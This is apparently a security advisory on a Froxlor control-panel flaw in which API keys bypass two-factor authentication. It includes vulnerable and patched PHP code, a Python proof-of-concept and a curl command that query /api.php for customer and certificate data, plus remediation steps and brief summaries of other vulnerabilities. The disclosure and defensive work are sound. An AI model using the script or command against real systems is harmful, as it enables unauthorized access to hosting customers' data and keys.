Jun 3, 2026·5 min read·13 visits
Froxlor's API endpoint completely omits Two-Factor Authentication status checks. Attackers possessing an API key can execute administrative commands on 2FA-protected accounts. Additionally, versions prior to 2.3.7 allowed passwordless generation of these keys.
An architectural flaw in the Froxlor server administration control panel allows attackers to completely bypass Two-Factor Authentication (2FA) by issuing commands directly through the API. The API authentication routine in 'FroxlorRPC::validateAuth' fails to check the account's 2FA status, enabling arbitrary execution of administrative and customer actions. Furthermore, in versions prior to 2.3.7, API keys could be created without validating the current user password, exposing users to persistent backdoor access via session hijacking or CSRF.
Froxlor is an open-source server administration control panel used to manage web hosting environments. The software implements two main communication vectors for administrative and customer actions: an interactive web-based User Interface (UI) and a programmatic API endpoint located at /api.php.
While the web UI enforces Two-Factor Authentication (2FA) via time-based one-time passwords (TOTP), the programmatic API relies on key-based authentication. This multi-channel architecture introduces a security mismatch if authorization logic is not kept consistent across both channels.
The vulnerability cataloged under GHSA-F9RX-7WF7-JR36 details an authentication bypass flaw within the API subsystem. Because the API route does not verify the active 2FA state of an account, an attacker possessing an API key can completely bypass MFA, exposing a broad administrative attack surface.
The fundamental flaw resides within the API authentication routine implemented in lib/Froxlor/Api/FroxlorRPC.php inside the private static method validateAuth.
When a request is submitted to /api.php, authentication parameters are evaluated. The verification routine queries the database to match the incoming key and secret, verifying permissions and expiration parameters:
private static function validateAuth(string $key, string $secret): bool
{
$sel_stmt = Database::prepare("
SELECT ak.*, a.api_allowed as admin_api_allowed,
c.api_allowed as cust_api_allowed, c.deactivated
FROM `api_keys` ak
LEFT JOIN `panel_admins` a ON a.adminid = ak.adminid
LEFT JOIN `panel_customers` c ON c.customerid = ak.customerid
WHERE `apikey` = :ak AND `secret` = :as
");
// ... checks expiration and permissions ...
}This validation process confirms key validity but completely neglects the type_2fa column or TOTP state of the associated user. Thus, the database query checks permission flags but omits multi-factor authentication constraints.
This behavior is compounded by a flaw in api_keys.php where users could generate API keys without re-entering their account password. Consequently, an attacker utilizing Cross-Site Request Forgery (CSRF) or a hijacked session could generate persistent API credentials to establish a permanent backdoor.
In versions of Froxlor prior to 2.3.7, creating a new API key in api_keys.php only required a simple POST request with a confirmation token, lacking authentication checks:
// Vulnerable logic in api_keys.php
} elseif ($action == 'add') {
if (Request::post('send') == 'send') {
$ins_stmt = Database::prepare("
INSERT INTO `" . TABLE_API_KEYS . "` SET
`apikey` = :key, `secret` = :secret, `adminid` = :aid, `customerid` = :cid, `valid_until` = '-1', `allowed_from` = ''
");To remediate this key-generation vector, the maintainers implemented password verification inside the key generation path of version 2.3.7:
// Patched logic in api_keys.php
$user_passwd = Request::post('user_password');
if (empty($user_passwd)) {
Response::dynamicError(lng('panel.noauthentication'));
}
if ($userinfo['adminsession']) {
$table = "`" . TABLE_PANEL_ADMINS . "`";
$uid = 'adminid';
} else {
$table = "`" . TABLE_PANEL_CUSTOMERS . "`";
$uid = 'customerid';
}
if (\Froxlor\System\Crypt::validatePasswordLogin($userinfo, $user_passwd, $table, $uid)) {
// Cryptographically secure API key generation follows
$key = hash('sha256', openssl_random_pseudo_bytes(64 * 64));
$secret = hash('sha512', openssl_random_pseudo_bytes(64 * 64 * 4));
// ... database insert executes ...
} else {
Response::dynamicError(lng('panel.authenticationfailed'));
}While this fix prevents unauthorized creation of new API keys via CSRF or hijacked sessions, the underlying architectural bypass remains if an existing API key is exposed. The API route itself does not incorporate a secondary factor, meaning any leaked key continues to offer 2FA-bypass access by design.
An attacker can exploit this vulnerability by routing requests directly to the API endpoint, completely bypassing the interactive 2FA checks on /index.php.
To demonstrate this bypass, an attacker can use the following Python script to retrieve customer listings from a 2FA-protected account without supplying a TOTP token:
import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
if len(sys.argv) < 4:
print(f"Usage: {sys.argv[0]} <target_url> <api_key> <api_secret>")
sys.exit(1)
target = sys.argv[1].rstrip('/')
key = sys.argv[2]
secret = sys.argv[3]
api_url = f"{target}/api.php"
payload = {"command": "Customers.listing", "params": {}}
try:
r = requests.post(api_url, auth=(key, secret), json=payload, verify=False, timeout=10)
data = r.json()
if "data" in data and "list" in data["data"]:
print(f"[+] Success: Bypassed 2FA. Retrieved records:")
for customer in data["data"]["list"]:
print(f"Username: {customer.get('loginname')} | Email: {customer.get('email')}")
except Exception as e:
print(f"[-] Error: {e}")Alternatively, direct commands can be sent using curl to extract database credentials or certificates:
curl -s -u "KEY:SECRET" -H "Content-Type: application/json" -d '{"command":"Certificates.listing","params":{}}' https://panel.example.com/api.phpThe impact of this authentication bypass is high because the Froxlor API exposes more than 165 functions. This exposure grants a threat actor extensive read and write capabilities over the hosting platform.
Attackers can modify DNS zone files to conduct domain hijacking, read database access details, alter mail routing, and exfiltrate customer databases. Access to SSL private keys is also possible through the API.
In multi-tenant shared-hosting deployments, compromising a single administrative credential grants full control over other hosted customers, making this vulnerability highly consequential for hosting providers.
To fully resolve this security issue, administrators must upgrade Froxlor to version 2.3.7 or higher, which introduces password-validation checks for API key generation.
After applying the update, administrators must conduct an audit of all active API keys. It is recommended to revoke and regenerate existing API credentials, particularly for accounts utilizing 2FA.
Where upgrading cannot be performed immediately, administrators should implement IP whitelisting or disable access to /api.php at the web server configuration level to restrict API usage to authorized origins.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Froxlor Froxlor | < 2.3.7 | 2.3.7 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-287 |
| Attack Vector | Network |
| CVSS v3.1 | 8.1 |
| Exploit Status | Proof of Concept |
| KEV Status | Not Listed |
The software does not prove or insufficiently proves that a user is who they claim to be.
An improper authentication vulnerability (CWE-287) in ZITADEL's external identity provider handler before version 4.15.3 allows remote attackers to perform complete account takeover. When auto-linking by email is enabled, ZITADEL verifies that the local target account has a verified email address but fails to verify if the external provider confirmed ownership of that same email. Attackers can exploit this by registering an unverified account with a victim's email address on a permissive external provider, leading to unauthorized account binding and persistent access.
A critical authentication bypass and cross-tenant account takeover vulnerability exists in the Prowler cloud security platform due to improper validation of the SAML Assertion Consumer Service (ACS) flow. An authenticated attacker controlling a custom Identity Provider (IdP) can forge assertions targeting arbitrary user identities across distinct tenants, allowing complete unauthorized access to target tenant-scoped resources.
An issue was identified in Central Dogma prior to version 0.84.0. The Git mirror SSH client does not verify remote host keys for git+ssh:// connections, which allows an on-path attacker to execute man-in-the-middle attacks and compromise mirrored repositories.
Open WebUI from version 0.9.0 to 0.11.1 is vulnerable to a state desynchronization and privilege persistence flaw. When an administrator is demoted to a standard user via Single Sign-On (SSO) role synchronization, the local database is updated, but their active Socket.IO connection is not invalidated. Because the WebSocket handlers authorize operations using the cached role in the socket context, the demoted user retains administrative read and write access to all collaborative notes.
An authenticated denial of service vulnerability exists in Open WebUI versions 0.10.0 through 0.11.0. An attacker can update a folder's parent identifier to establish cyclic folder references, causing recursive tree-walking operations to execute infinitely, leading to CPU exhaustion and localized application denial of service.
Open WebUI is a self-hosted AI platform. Versions 0.9.0 through 0.11.0 contain a denial-of-service vulnerability where an authenticated user can inject non-numeric values into calendar event alert metadata. The shared scheduler process fails to validate the type, leading to an unhandled TypeError that halts the execution of instance-wide alerts, suppressing notifications for all users.